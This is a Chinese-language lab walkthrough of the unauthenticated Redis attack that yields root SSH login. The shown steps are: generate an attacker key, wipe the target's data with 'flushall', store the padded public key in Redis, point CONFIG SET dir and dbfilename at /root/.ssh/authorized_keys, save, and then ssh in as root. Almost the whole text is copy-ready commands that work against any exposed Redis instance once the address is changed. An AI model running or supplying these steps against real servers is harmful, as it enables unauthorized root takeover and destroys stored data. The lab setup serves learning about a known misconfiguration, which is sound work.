服务器准备
2台服务器
192.168.63.202 安装redis 默认端口6379 root启动redis
192.168.63.203 模拟入侵端
1、在192.168.63.203(入侵端)上生成key
输入命令:ssh-keygen,然后一路回车,在当前用户的家目录下的.ssh目录中会生成一对密钥对:id_rsa id_rsa.pub
这里我们要把公钥(id_rsa.pub)通过redis放到192.168.63.202上,从而起到免密钥登陆的效果。
#cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYw4Ygqz8Bbz7Qr1sZojGjIefFzUGWQAJfX/EzhVWjSjH6HNEE3PdQXjW6esDYPcShS2eojsMuvsrCuDD7yXzHIsSsJMyAm8K7BJFyMJCsnjhzUto14snVKGhhxjrdkwfKhLMqOWA8iaUSHpIk+Aiwtdck5NSnSRg40VWYTPK/wYUoPI6fmGQ0t+9vZV1rF4eKaeR3l9EMNU+W8z5shJhVN8TMuOEcV9/ooJ2AlCKftBKc4WLgFa/FiwtTlQdxX+UFOyq3C76LqA9DDI3tY8RwCG2I89xeyzi2QwdrxYHwLBHBbaU4bmpDYMMPI6hdwlWCz8h7b7k3eycBgjisig2w== root@CentOS6.5-2
上面是我测试机生成的密钥
2、测试redis是否可以连接上
telnet 192.168.63.202 6379
redis-cli -h 192.168.63.202
3、清理redis数据库
redis-cli -h 192.168.63.202 flushall
4、处理192.168.63.203的公钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
为什么要这么操作?
传到192.168.63.202上的未处理过的公钥(公钥前后会加字符串,到时公钥错误)
REDIS0006redisAssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYw4Ygqz8Bbz7Qr1sZojGjIefFzUGWQAJfX/EzhVWjSjH6HNEE3PdQXjW6esDYPcShS2eojsMuvsrCuDD7yXzHIsSsJMyAm8K7BJFyMJCsnjhzUto14snVKGhhxjrdkwfKhLMqOWA8iaUSHpIk+Aiwtdck5NSnSRg40VWYTPK/wYUoPI6fmGQ0t+9vZV1rF4eKaeR3l9EMNU+W8z5shJhVN8TMuOEcV9/ooJ2AlCKftBKc4WLgFa/FiwtTlQdxX+UFOyq3C76LqA9DDI3tY8RwCG2I89xeyzi2QwdrxYHwLBHBbaU4bmpDYMMPI6hdwlWCz8h7b7k3eycBgjisig2w== root@CentOS6.5-2
EBN7=
传到192.168.63.202上的处理过的公钥(在公钥前后都增加2个换行,这样公钥就处在了单独的一行,ssh就可以正常识别了。)
REDIS0006redisA
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyYw4Ygqz8Bbz7Qr1sZojGjIefFzUGWQAJfX/EzhVWjSjH6HNEE3PdQXjW6esDYPcShS2eojsMuvsrCuDD7yXzHIsSsJMyAm8K7BJFyMJCsnjhzUto14snVKGhhxjrdkwfKhLMqOWA8iaUSHpIk+Aiwtdck5NSnSRg40VWYTPK/wYUoPI6fmGQ0t+9vZV1rF4eKaeR3l9EMNU+W8z5shJhVN8TMuOEcV9/ooJ2AlCKftBKc4WLgFa/FiwtTlQdxX+UFOyq3C76LqA9DDI3tY8RwCG2I89xeyzi2QwdrxYHwLBHBbaU4bmpDYMMPI6hdwlWCz8h7b7k3eycBgjisig2w== root@CentOS6.5-2
ZP
5、向redis写公钥
#cat key.txt | redis-cli -h 192.168.63.202 -x set redis
正常的话会反馈OK
6、利用redis把公钥写入到文件(authorized_keys)
连接redis
# redis-cli -h 192.168.63.202
查看keys
192.168.63.202:6379> keys *
1) "redis"
#写入配置库的路径及存放位置
192.168.63.202:6379> CONFIG SET dir /root/.ssh/
OK
#写入配置库名称及存放名称
192.168.63.202:6379> CONFIG SET dbfilename "authorized_keys"
OK
#写入
192.168.63.202:6379> save
OK
#退出
192.168.63.202:6379> exit
7、测试登陆192.168.63.202(redis服务器)
ssh root@192.168.63.202